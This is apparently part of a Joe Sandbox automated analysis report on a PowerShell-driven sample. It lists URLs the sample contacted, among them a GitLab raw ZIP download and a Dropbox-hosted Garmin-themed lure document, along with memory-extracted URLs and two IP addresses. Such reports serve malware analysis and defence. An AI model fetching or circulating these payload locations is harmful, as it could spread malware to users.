                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zipfalse
                              		high
                              https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1false
                                		high

                                URLs from Memory and Binaries

                                NameSourceMaliciousAntivirus DetectionReputation
                                http://gitlab.compowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B223000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.dropbox.com/service_worker.jspowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://gitlab.com/-/sandbox/;powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://gitlab.com/users/sign_inpowershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://paper.dropbox.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.compowershell.exe, 0000000C.00000002.1366679470.0000016313B5F000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://crl.microsoftpowershell.exe, 0000000F.00000002.1433980841.0000027527FE8000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.dopowershell.exe, 0000000C.00000002.1385532242.000001632A6A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://www.hellofax.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://pal-test.adyen.compowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.dropbox.compowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://paper.dropbox.com/cloud-docs/editpowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.dopowershell.exe, 0000000C.00000002.1366318478.0000016310670000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://contoso.com/Licensepowershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://snowplow.trx.gitlab.netpowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://app.hellosign.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://collector.prd-278964.gl-product-analytics.compowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://www.hellosign.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://instructorledlearning.dropboxbusiness.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://www.dropbox.com/page_success/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://gitlab.compowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752A7F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B1E0000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://www.dropbox.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zippowershell.exe, 0000000F.00000002.1433980841.0000027527FE8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://www.dropbox.com/pithos/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://sales.dropboxbusiness.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://photos.dropbox.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://a.sprig.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://www.docsend.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://www.dropbox.com/encrypted_folder_download/service_worker.jspowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://gitlab.com/assets/powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_envpowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://navi.dropbox.jp/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://contoso.com/powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://nuget.org/nuget.exepowershell.exe, 0000000C.00000002.1366679470.0000016313EDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.00000163226A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.0000016322562000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B5A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539C30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539D72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A11DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A1321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://www.dropbox.com/static/api/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://edge-block-www-env.dropbox-dns.compowershell.exe, 0000000C.00000002.1366679470.0000016313B5F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://www.dropboxstatic.com/static/powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://apis.google.compowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://officeapps-df.live.compowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://api.login.yahoo.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000C.00000002.1366679470.00000163124F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.0000027529BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027291171000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://sentry.gitlab.netpowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://login.yahoo.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://docsend.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://www.dropbox.com/playlist/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://www.recaptcha.net/powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://onedrive.live.com/pickerpowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://gitlab.com(powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              http://nuget.org/NuGet.exepowershell.exe, 0000000C.00000002.1366679470.0000016313EDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.00000163226A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.0000016322562000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B5A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539C30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539D72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A11DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A1321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://showcase.dropbox.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://www.dropbox.com/static/serviceworker/powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://www.dropbox.compowershell.exe, 0000000C.00000002.1366679470.0000016313857000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B19000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000011.00000002.1521266518.00000272913A2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000011.00000002.1521266518.00000272913A2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://go.micropowershell.exe, 0000000C.00000002.1366679470.0000016313122000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752A7F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.00000272922CE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://new-sentry.gitlab.netpowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://contoso.com/Iconpowershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                https://www.dropbox.com/v/s/playlist/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  http://www-env.dropbox-dns.compowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    https://github.com/Pester/Pesterpowershell.exe, 00000011.00000002.1521266518.00000272913A2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com/cd/0/get/CghKiWb2VytBJ3hY2rZyZ4xwz7WIpowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                                      		unknown
                                                                                                                                                      https://docs.sandbox.google.com/document/fsip/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        https://docs.sandbox.google.com/spreadsheets/fsip/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          http://crl.mpowershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            https://docs.google.com/document/fsip/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              https://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.compowershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                                              		unknown
                                                                                                                                                              https://help.dropbox.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://docs.google.com/presentation/fsip/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  https://canny.io/sdk.jspowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    https://www.dropbox.com/scl/fi/q2jv8nnxln07zxpowershell.exe, 0000000C.00000002.1384475159.000001632A627000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      https://gitlab.com/-/sandbox/powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://gitlab.com/admin/powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          https://customers.gitlab.compowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              https://gitlab.com/-/speedscope/index.htmlpowershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                https://selfguidedlearning.dropboxbusiness.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://www.google.com/recaptcha/powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://sourcegraph.compowershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://aka.ms/pscore68powershell.exe, 0000000C.00000002.1366679470.00000163124F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.0000027529BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027291171000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://docs.sandbox.google.com/presentation/fsip/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          https://dl-web.dropbox.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://app.hellofax.com/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              https://cfl.dropboxstatic.com/static/powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		high
                                                                                                                                                                                                https://www.paypal.com/sdk/jspowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                  		high
                                                                                                                                                                                                  https://docs.google.com/spreadsheets/fsip/powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    		high
                                                                                                                                                                                                    https://www.dropbox.com/csp_log?policy_name=metaserver-whitelistpowershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                      		high

                                                                                                                                                                                                      World Map of Contacted IPs

                                                                                                                                                                                                      • No. of IPs < 25%
                                                                                                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                                                                                                      • 75% < No. of IPs

                                                                                                                                                                                                      Public IPs

                                                                                                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                      172.65.251.78
                                                                                                                                                                                                      		gitlab.comUnited States
                                                                                                                                                                                                      		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                      162.125.69.18
                                                                                                                                                                                                      		www-env.dropbox-dns.comUnited States
                                                                                                                                                                                                      		19679DROPBOXUSfalse

                                                                                                                                                                                                      General Information

                                                                                                                                                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                      Analysis ID:1578277
                                                                                                                                                                                                      Start date and time:2024-12-19 14:19:07 +01:00
                                                                                                                                                                                                      Joe Sandbox product:CloudBasic
                                                                                                                                                                                                      Overall analysis duration:0h 5m 54s
                                                                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                                                                      Report type:full
                                                                                                                                                                                                      Cookbook file name:default.jbs
